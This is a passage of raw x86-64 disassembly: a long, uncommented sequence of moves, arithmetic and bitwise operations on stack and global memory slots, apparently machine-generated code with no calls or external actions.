sar eax, cl
mov byte [rsp + 0x1f0], al
mov eax, dword [rsp + 0x45f0]
movzx ecx, al
mov eax, dword [rsp + 0x48d0]
shl eax, cl
mov rcx, qword [rsp + 0xd150]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4598]
mov dword [rsp + 0x4e30], eax
mov rax, qword [rsp + 0xbc10]
movsx eax, byte [rax]
mov rcx, qword [0x14019d950]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1fc], al
lea rax, [rsp + 0x11a4]
mov qword [rsp + 0xd350], rax
mov rax, qword [rsp + 0xbf40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb390]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1348], ax
movzx eax, byte [rsp + 0x9a]
movzx ecx, byte [rsp + 0x1d2]
and eax, ecx
mov byte [rsp + 0x124], al
mov rax, qword [rsp + 0xc100]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x49a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d3c], eax
lea rax, [rsp + 0x4478]
mov qword [0x14019dfe8], rax
mov rax, qword [rsp + 0xc658]
mov ecx, dword [rsp + 0x4334]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x47bc], eax
lea rax, [rsp + 0x48d0]
mov qword [rsp + 0xd358], rax
mov eax, dword [rsp + 0x36fc]
mov ecx, dword [rsp + 0x4348]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b3c], eax
lea rax, [rsp + 0x173]
mov qword [rsp + 0xd360], rax
mov rax, qword [rsp + 0xc530]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x123c]
sub eax, ecx
mov word [rsp + 0x10a0], ax
mov rax, qword [rsp + 0xa6e0]
mov rcx, qword [rsp + 0xa7c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xba18]
mov dword [rcx], eax
lea rax, [0x14019c014]
mov qword [rsp + 0xd368], rax
mov rax, qword [rsp + 0xbb70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4318]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc90]
mov dword [rcx], eax
mov rax, qword [0x14019deb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3b74]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x14019dea0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb78]
movzx eax, word [rax]
mov word [rsp + 0x1420], ax
mov rax, qword [rsp + 0xbd00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xac60]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xac28]
mov byte [rcx], al
movsx eax, byte [rsp + 0x288]
mov rcx, qword [rsp + 0xc390]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1fd], al
movzx eax, word [rsp + 0x10f4]
mov word [rsp + 0x1424], ax
mov eax, dword [rsp + 0x4258]
mov ecx, dword [rsp + 0x4900]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbf80]
mov dword [rcx], eax
mov eax, dword [rsp + 0x458c]
mov dword [rsp + 0x4e34], eax
mov rax, qword [0x14019dda8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc5d8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x24f], al
movzx eax, word [rsp + 0x12f8]
mov rcx, qword [rsp + 0xbb78]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc9e8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc0a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x39c4]
sub ecx, eax
mov eax, ecx
mov dword [0x14019bf10], eax
lea rax, [rsp + 0x4a14]
mov qword [rsp + 0xd370], rax
mov rax, qword [rsp + 0xb788]
mov ecx, dword [rsp + 0x437c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xc060]
mov dword [rcx], eax
lea rax, [rsp + 0x4a60]
mov qword [rsp + 0xd378], rax
mov rax, qword [rsp + 0xb640]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd108]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb1], al
movzx eax, word [rsp + 0xb08]
mov word [rsp + 0x1428], ax
mov rax, qword [rsp + 0xb400]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x49ec], eax
mov eax, 0x38
imul rax, rax, 1
lea rcx, [rsp + 0x1f8e0]
add rcx, rax
mov rax, rcx
mov dword [rax], 0xfea18b2c
mov rax, qword [rsp + 0xbb80]
mov rcx, qword [rsp + 0xa650]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xafe0]
mov dword [rcx], eax
lea rax, [rsp + 0x40f0]
mov qword [rsp + 0xd380], rax
lea rax, [rsp + 0x4ab0]
mov qword [0x14019dff0], rax
mov rax, qword [rsp + 0xc6f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x38a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd1b0]
mov dword [rcx], eax
lea rax, [rsp + 0x14d]
mov qword [rsp + 0xd388], rax
mov rax, qword [rsp + 0xaae0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa6f0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb810]
mov word [rcx], ax
movzx eax, byte [rsp + 0x17c]
movzx ecx, byte [rsp + 0x27a]
add eax, ecx
mov rcx, qword [rsp + 0xc638]
mov byte [rcx], al
mov rax, qword [rsp + 0xb270]
movzx eax, word [rax]
mov word [rsp + 0x142c], ax
mov rax, qword [rsp + 0xc1a8]
mov rcx, qword [rsp + 0xc2f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x42c8], eax
mov rax, qword [rsp + 0xb4e0]
mov eax, dword [rax]
mov dword [rsp + 0x4e38], eax
movzx eax, byte [rsp + 0x212]
movzx ecx, byte [rsp + 0x19b]
and eax, ecx
mov byte [rsp + 0x1a6], al
lea rax, [rsp + 0x1018]
mov qword [0x14019dff8], rax
mov rax, qword [0x14019d7f0]
mov rcx, qword [rsp + 0xa678]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x49cc], eax
mov eax, dword [rsp + 0x49a0]
mov dword [rsp + 0x4e3c], eax
mov rax, qword [rsp + 0xcc60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x44c8]
shl eax, cl
mov rcx, qword [rsp + 0xc880]
mov dword [rcx], eax
mov eax, dword [0x14019c0c0]
mov dword [rsp + 0x4e40], eax
movzx eax, word [rsp + 0xde0]
mov rcx, qword [rsp + 0xd2b8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x13e4], ax
mov rax, qword [rsp + 0xab28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x287]
sar eax, cl
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0xc268]
mov ecx, dword [rsp + 0x4438]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x478c], eax
mov rax, qword [rsp + 0xac10]
mov rcx, qword [rsp + 0xbb90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaaf0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x196]
movsx ecx, byte [0x14019bfa6]
and eax, ecx
mov byte [str.Sb], al
mov rax, qword [rsp + 0xa928]
movzx eax, word [rax]
mov word [rsp + 0x1430], ax
mov rax, qword [rsp + 0xc638]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x132]
add eax, ecx
mov rcx, qword [rsp + 0xce38]
mov byte [rcx], al
movzx eax, word [0x14019c0d4]
mov word [rsp + 0x1434], ax
mov rax, qword [rsp + 0xbfa0]
mov rcx, qword [rsp + 0xd150]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x46a8], eax
mov rax, qword [rsp + 0xa5f0]
mov rcx, qword [rsp + 0xb040]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x43e4], eax
mov rax, qword [0x14019dcb8]
mov eax, dword [rax]
mov dword [rsp + 0x4e44], eax
mov rax, qword [rsp + 0xaa30]
mov rcx, qword [rsp + 0xc560]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaa30]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4c2c]
mov dword [rsp + 0x4e48], eax
movzx eax, byte [rsp + 0x1a7]
movzx ecx, byte [rsp + 0xbf]
add eax, ecx
mov byte [rsp + 0x19e], al
movzx eax, word [rsp + 0xef8]
mov rcx, qword [rsp + 0xb520]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14019d900]
mov word [rcx], ax
mov rax, qword [rsp + 0xbbc0]
mov rcx, qword [rsp + 0xb2f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x43bc], eax
lea rax, [0x14019c08c]
mov qword [rsp + 0xd390], rax
mov rax, qword [rsp + 0xab48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4948], eax
mov rax, qword [rsp + 0xacc8]
mov eax, dword [rax]
mov dword [rsp + 0x4e4c], eax
mov rax, qword [0x14019de50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa5d8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1d0], al
mov rax, qword [rsp + 0xb730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x114c]
shl eax, cl
mov rcx, qword [rsp + 0xa768]
mov word [rcx], ax
mov rax, qword [rsp + 0xcc68]
movzx eax, byte [rax]
mov byte [rsp + 0x2a9], al
mov rax, qword [0x14019df58]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x13cc]
or eax, ecx
mov rcx, qword [rsp + 0xaae0]
mov word [rcx], ax
mov eax, dword [rsp + 0x47a0]
movzx ecx, al
mov eax, dword [rsp + 0x4888]
shr eax, cl
mov dword [0x14019c0e0], eax
lea rax, [rsp + 0x4abc]
mov qword [rsp + 0xd398], rax
mov rax, qword [rsp + 0xad28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x287]
and eax, ecx
mov rcx, qword [rsp + 0xb678]
mov byte [rcx], al
lea rax, [rsp + 0xf64]
mov qword [rsp + 0xd3a0], rax
mov rax, qword [rsp + 0xb728]
mov ecx, dword [rsp + 0x4da0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xce08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x42dc]
mov ecx, dword [rsp + 0x4d5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4890], eax
mov eax, dword [rsp + 0x4400]
mov dword [rsp + 0x4e50], eax
mov eax, dword [0x14019bf78]
mov ecx, dword [rsp + 0x4628]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcc60]
mov dword [rcx], eax
lea rax, [rsp + 0x1324]
mov qword [rsp + 0xd3a8], rax
mov rax, qword [rsp + 0xc1e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x24f]
sub eax, ecx
mov byte [0x14019bfca], al
mov rax, qword [rsp + 0xc660]
mov rcx, qword [rsp + 0xb2f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa988]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc580]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4bc8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x48b8], eax
mov rax, qword [rsp + 0xb660]
mov eax, dword [rax]
mov dword [rsp + 0x4e54], eax
mov rax, qword [rsp + 0xa920]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4940], eax
mov eax, dword [rsp + 0x4618]
mov ecx, dword [rsp + 0x4b34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3390], eax
mov rax, qword [rsp + 0xc730]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc820]
movsx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0xbd20]
mov word [rcx], ax
movsx eax, byte [rsp + 0x17a]
movsx ecx, byte [rsp + 0x203]
sar eax, cl
mov byte [rsp + 0x22f], al
mov rax, qword [rsp + 0xb2e8]
movzx eax, word [rax]
mov word [rsp + 0x1438], ax
lea rax, [rsp + 0xbf]
mov qword [0x14019e000], rax
mov rax, qword [rsp + 0xb750]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x44d0]
shl eax, cl
mov rcx, qword [rsp + 0xca90]
mov dword [rcx], eax
lea rax, [rsp + 0x4274]
mov qword [rsp + 0xd3b0], rax
movzx eax, byte [rsp + 0x250]
mov rcx, qword [rsp + 0xa958]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc408]
mov byte [rcx], al
mov rax, qword [0x14019de68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc968]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1130], ax
lea rax, [rsp + 0x48f8]
mov qword [rsp + 0xd3b8], rax
mov rax, qword [rsp + 0xa778]
mov ecx, dword [rsp + 0x43f4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb750]
mov dword [rcx], eax
mov eax, dword [rsp + 0x446c]
mov dword [rsp + 0x4e58], eax
mov eax, dword [rsp + 0x4ca4]
mov ecx, dword [rsp + 0x4248]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x451c], eax
movzx eax, word [rsp + 0x11c8]
mov word [0x14019e008], ax
lea rax, [rsp + 0x18d]
mov qword [rsp + 0xd3c0], rax
mov rax, qword [0x14019da00]
mov rcx, qword [rsp + 0xb8b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x44b0], eax
mov rax, qword [rsp + 0xba60]
mov rcx, qword [rsp + 0xafe0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa598]
mov dword [rcx], eax
lea rax, [rsp + 0x17a]
mov qword [rsp + 0xd3c8], rax
mov rax, qword [0x14019dfc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc050]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb0f8]
mov word [rcx], ax
lea rax, [rsp + 0x173]
mov qword [rsp + 0xd3d0], rax
mov rax, qword [rsp + 0xa990]
movzx eax, word [rax]
mov rcx, qword [0x14019d8f8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd2b8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb048]
mov rcx, qword [rsp + 0xb670]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb380]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcf28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43e0]
add ecx, eax
mov eax, ecx
mov dword [0x14019c090], eax
lea rax, [rsp + 0x4984]
mov qword [rsp + 0xd3d8], rax
mov rax, qword [rsp + 0xa4d8]
mov rcx, qword [rsp + 0xbd40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4a48], eax
mov rax, qword [rsp + 0xc7f8]
mov eax, dword [rax]
mov dword [rsp + 0x4e5c], eax
movzx eax, byte [rsp + 0x1bf]
mov rcx, qword [0x14019d858]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc520]
mov byte [rcx], al
movzx eax, word [rsp + 0x1318]
mov rcx, qword [rsp + 0xb7a8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc670]
mov word [rcx], ax
lea rax, [rsp + 0x44c8]
mov qword [rsp + 0xd3e0], rax
mov eax, dword [0x14019bf10]
movzx ecx, al
mov eax, dword [rsp + 0x4514]
shr eax, cl
mov dword [rsp + 0x39c4], eax
lea rax, [rsp + 0x4d48]
mov qword [rsp + 0xd3e8], rax
mov rax, qword [rsp + 0xad20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b04]
xor ecx, eax
mov eax, ecx
mov dword [0x14019c058], eax
movzx eax, word [rsp + 0x110c]
mov rcx, qword [rsp + 0xb690]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x13a0], ax
movzx eax, byte [rsp + 0x1bb]
mov byte [rsp + 0x2aa], al
movsx eax, byte [rsp + 0x1b0]
mov rcx, qword [rsp + 0xb298]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xcb68]
mov byte [rcx], al
mov rax, qword [rsp + 0xd140]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1054]
sub eax, ecx
mov word [rsp + 0x1340], ax
mov eax, dword [rsp + 0x4a6c]
mov dword [rsp + 0x4e60], eax
mov eax, dword [rsp + 0x4d6c]
mov ecx, dword [rsp + 0x4ac8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x464c], eax
movzx eax, word [rsp + 0x12a0]
mov word [rsp + 0x143c], ax
movzx eax, byte [rsp + 0x26f]
movzx ecx, byte [rsp + 0x21d]
sub eax, ecx
mov rcx, qword [rsp + 0xa908]
mov byte [rcx], al
lea rax, [rsp + 0x42a4]
mov qword [0x14019e010], rax
mov rax, qword [0x14019d808]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4850]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x42e4], eax
lea rax, [rsp + 0x4bc4]
mov qword [rsp + 0xd3f0], rax
mov rax, qword [rsp + 0xa778]
mov rcx, qword [rsp + 0xaa60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x434c], eax
lea rax, [rsp + 0x157]
mov qword [rsp + 0xd3f8], rax
mov rax, qword [rsp + 0xba20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc598]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb178]
mov word [rcx], ax
mov rax, qword [rsp + 0xc990]
mov rcx, qword [rsp + 0xb1b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ba4], eax
mov rax, qword [rsp + 0xaf50]
mov eax, dword [rax]
mov dword [rsp + 0x4e64], eax
mov rax, qword [rsp + 0xb040]
mov ecx, dword [rsp + 0x4780]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4a98], eax
mov rax, qword [rsp + 0xd338]
mov ecx, dword [rsp + 0x4770]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14019dac0]
mov dword [rcx], eax
lea rax, [rsp + 0x4928]
mov qword [rsp + 0xd400], rax
mov rax, qword [rsp + 0xc840]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
xor eax, ecx
mov rcx, qword [rsp + 0xbb30]
mov byte [rcx], al
mov rax, qword [rsp + 0xb890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa7f8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xac20]
mov word [rcx], ax
lea rax, [0x14019d9f0]
mov qword [rsp + 0xd408], rax
movzx eax, byte [rsp + 0x18d]
movzx ecx, byte [rsp + 0x202]
sar eax, cl
mov rcx, qword [rsp + 0xcf30]
mov byte [rcx], al
mov eax, dword [rsp + 0x4de8]
mov dword [rsp + 0x4e68], eax
mov rax, qword [rsp + 0xb0d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb980]
mov qword [rsp + 0xd410], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd410]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xc5a8]
mov dword [rcx], eax
lea rax, [rsp + 0x1cd]
mov qword [rsp + 0xd418], rax
lea rax, [rsp + 0xd68]
mov qword [0x14019e018], rax
mov rax, qword [rsp + 0xb288]
mov rcx, qword [rsp + 0xc970]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xd238]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4294]
mov ecx, dword [rsp + 0x4e2c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc098]
mov dword [rcx], eax
lea rax, [rsp + 0x489c]
mov qword [rsp + 0xd420], rax
mov rax, qword [rsp + 0xb670]
mov ecx, dword [0x14019daa0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ba0], eax
lea rax, [rsp + 0x13e8]
mov qword [rsp + 0xd428], rax
movzx eax, byte [rsp + 0x153]
movzx ecx, byte [rsp + 0x18d]
sub eax, ecx
mov byte [rsp + 0x1a2], al
mov rax, qword [rsp + 0xaa10]
mov ecx, dword [0x14019df50]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x430c], eax
lea rax, [rsp + 0x437c]
mov qword [rsp + 0xd430], rax
mov rax, qword [rsp + 0xcbe8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x293]
add eax, ecx
mov byte [0x14019bfd6], al
movsx eax, word [rsp + 0x1114]
mov rcx, qword [0x14019df58]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbf78]
mov word [rcx], ax
lea rax, [rsp + 0x1bf]
mov qword [rsp + 0xd438], rax
movzx eax, word [rsp + 0x1428]
movzx ecx, word [rsp + 0xf78]
and eax, ecx
mov rcx, qword [rsp + 0xb850]
mov word [rcx], ax
mov rax, qword [rsp + 0xd0c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4194]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x48a8], eax
mov rax, qword [rsp + 0xce20]
mov ecx, dword [rsp + 0x485c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x37bc], eax
mov rax, qword [rsp + 0xb970]
mov ecx, dword [0x14019c034]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4b00], eax
mov rax, qword [rsp + 0xb8a0]
mov eax, dword [rax]
mov dword [rsp + 0x4e6c], eax
mov eax, dword [rsp + 0x442c]
mov rcx, qword [rsp + 0xceb8]
mov qword [rsp + 0xd440], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd440]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xaaf8]
mov dword [rcx], eax
lea rax, [rsp + 0x235]
mov qword [rsp + 0xd448], rax
movzx eax, word [rsp + 0x1108]
movzx ecx, word [rsp + 0x134c]
shl eax, cl
mov rcx, qword [0x14019daa8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41f0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb680]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4e14]
mov ecx, dword [rsp + 0x4748]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4624], eax
mov eax, dword [rsp + 0x4dd0]
mov dword [rsp + 0x4e70], eax
mov rax, qword [rsp + 0xacb0]
mov ecx, dword [rsp + 0x47e4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc650]
mov dword [rcx], eax
lea rax, [0x14019bf00]
mov qword [rsp + 0xd450], rax
mov rax, qword [rsp + 0xd3d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xce38]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x164], al
movsx eax, byte [rsp + 0x1fa]
movsx ecx, byte [rsp + 0x27b]
add eax, ecx
mov byte [rsp + 0x1ff], al
lea rax, [rsp + 0x1164]
mov qword [rsp + 0xd458], rax
lea rax, [rsp + 0x4758]
mov qword [0x14019e020], rax
mov eax, dword [rsp + 0x47b0]
mov ecx, dword [rsp + 0x4c0c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x45e0], eax
lea rax, [rsp + 0x21d]
mov qword [rsp + 0xd460], rax
mov rax, qword [0x14019da18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11cc]
sub eax, ecx
mov rcx, qword [rsp + 0xc910]
mov word [rcx], ax
mov eax, dword [rsp + 0x4288]
mov ecx, dword [rsp + 0x42e0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x46b0], eax
lea rax, [rsp + 0x495c]
mov qword [rsp + 0xd468], rax
mov rax, qword [rsp + 0xaad0]
mov eax, dword [rax]
mov ecx, dword [0x14019bef8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc1c0]
mov dword [rcx], eax
lea rax, [rsp + 0x4d7c]
mov qword [rsp + 0xd470], rax
mov rax, qword [rsp + 0xd058]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc7e8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf68], ax
mov rax, qword [rsp + 0xd360]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc4b0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14019bfaa], al
mov rax, qword [rsp + 0xb280]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ca0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e1c], eax
mov rax, qword [0x14019da40]
mov eax, dword [rax]
mov dword [rsp + 0x4e74], eax
mov rax, qword [rsp + 0xcc28]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd398]
mov qword [rsp + 0xd478], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd478]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xaf90]
mov dword [rcx], eax
lea rax, [rsp + 0x4d98]
mov qword [rsp + 0xd480], rax
mov eax, dword [rsp + 0x49c0]
mov rcx, qword [rsp + 0xd480]
mov qword [rsp + 0xd488], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd488]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xd2c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xafe8]
movzx eax, byte [rax]
mov byte [rsp + 0x2ab], al
mov rax, qword [rsp + 0xd0a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb558]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x11b8], ax
movzx eax, byte [rsp + 0x161]
movzx ecx, byte [rsp + 0x255]
sub eax, ecx
mov byte [rsp + 0x1d0], al
mov rax, qword [rsp + 0xae68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb6d0]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14019c0e4], ax
lea rax, [rsp + 0x3868]
mov qword [rsp + 0xd490], rax
mov eax, dword [rsp + 0x3dd0]
mov ecx, dword [0x14019bfc0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b14], eax
mov rax, qword [rsp + 0xa958]
movzx eax, byte [rax]
mov byte [rsp + 0x2ac], al
mov rax, qword [rsp + 0xcfb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbae0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xed4], ax
mov eax, dword [rsp + 0x47b0]
mov ecx, dword [rsp + 0x44d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x421c], eax
mov rax, qword [rsp + 0xc650]
mov eax, dword [rax]
mov dword [rsp + 0x4e78], eax
mov rax, qword [rsp + 0xbea0]
mov rcx, qword [rsp + 0xbc68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc8b8]
mov dword [rcx], eax
mov rax, qword [0x14019dc58]
mov eax, dword [rax]
mov dword [rsp + 0x4e7c], eax
mov rax, qword [rsp + 0xc610]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56]
add eax, ecx
mov byte [0x14019bf2a], al
movzx eax, word [rsp + 0x11c0]
mov rcx, qword [rsp + 0xb5e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1010], ax
mov rax, qword [0x14019dca8]
mov rcx, qword [rsp + 0xa870]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4590], eax
mov rax, qword [rsp + 0xb080]
mov eax, dword [rax]
mov dword [rsp + 0x4e80], eax
movsx eax, byte [rsp + 0x22d]
movsx ecx, byte [0x14019bf1e]
add eax, ecx
mov rcx, qword [rsp + 0xc5a0]
mov byte [rcx], al
lea rax, [rsp + 0xb70]
mov qword [rsp + 0xd498], rax
mov rax, qword [rsp + 0xcf30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c1]
or eax, ecx
mov byte [rsp + 0x15b], al
movzx eax, word [rsp + 0x1060]
movzx ecx, word [rsp + 0x1130]
shl eax, cl
mov word [rsp + 0x12ec], ax
mov rax, qword [rsp + 0xd238]
mov rcx, qword [rsp + 0xba90]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3f7c], eax
mov eax, dword [rsp + 0x4c0c]
mov rcx, qword [rsp + 0xb1a0]
mov qword [rsp + 0xd4a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd4a0]
mov eax, dword [rax]
sar eax, cl
mov dword [0x14019c01c], eax
mov eax, dword [rsp + 0x4694]
mov ecx, dword [0x14019bf20]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4580], eax
lea rax, [rsp + 0x4a4c]
mov qword [rsp + 0xd4a8], rax
mov rax, qword [rsp + 0xb1e8]
mov rcx, qword [rsp + 0xb378]
